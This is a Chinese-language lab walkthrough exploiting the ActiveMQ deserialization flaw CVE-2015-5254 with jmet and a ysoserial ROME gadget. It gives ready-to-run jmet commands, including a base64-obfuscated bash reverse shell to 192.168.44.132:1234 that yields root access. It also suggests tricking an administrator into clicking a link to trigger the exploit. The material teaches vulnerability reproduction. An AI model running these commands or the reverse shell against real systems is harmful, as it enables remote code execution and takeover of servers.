ActiveMQ反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的一种开源消息中间件,它支持Java消息服务,集群,Spring框架等。
Apache ActiveMQ版本5.x之前的5.13.0安全漏洞,该程序引起的漏洞并不限制可以在代理中序列化的类。远程攻击者可以使特殊的序列化Java消息服务(JMS)ObjectMessage对象利用此漏洞来执行任意代码。
运行环境后,它将在端口61616和8161上建立两个端口。端口61616是工作端口,消息在此端口上传递。端口8161是网页管理页面端口。访问http://192.168.44.132:8161
,您可以看到网络管理页面,但是从理论上讲该漏洞不需要网络。
利用
漏洞利用过程如下:
- 生成序列化的有效负载(你可以使用ysoserial)
- 将有效载荷发送到端口61616
- 访问Web管理页面并阅读序列化消息,然后您可以触发漏洞。
为了利用此环境,我们将使用jmet(Java消息利用工具)。首先下载jmet的jar文件,并在同一目录中创建名为external的文件夹(否则可能会出现该文件夹不存在的错误)。
jmet是使用ysoserial生成并发送有效载荷(jar随ysoserial一起提供,我们不需要再次下载它),因此我们需要选择一个可以在ysoserial中用作小工具的对象,例如ROME 。
执行:
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.44.132 61616 |
此时,一个名为事件的队列将被添加到目标ActiveMQ。
您可以访问http://192.168.44.132:8161/admin/browse.jsp?JMSDestination=Event
以查看此队列中的所有消息
(登录名/密码: admin / admin):
单击此消息以触发命令执行,
这次进入容器docker-compose exec activemq bash
,
我们可以看到/ tmp / success已成功创建,表明利用成功:
反弹shell
把反弹shell的命令进行base64编码
把编码放进去。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
最终命令为
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.44.132 61616 |
再通过管理界面单击消息以触发命令执行,成功进入root权限
值得注意的是,通过Web管理页面访问消息并触发漏洞需要管理员特权。在没有密码的情况下,我们可以诱使管理员访问我们的链接以进行触发,或者伪装成来自其他服务的合法消息需要在触发时等待客户端访问。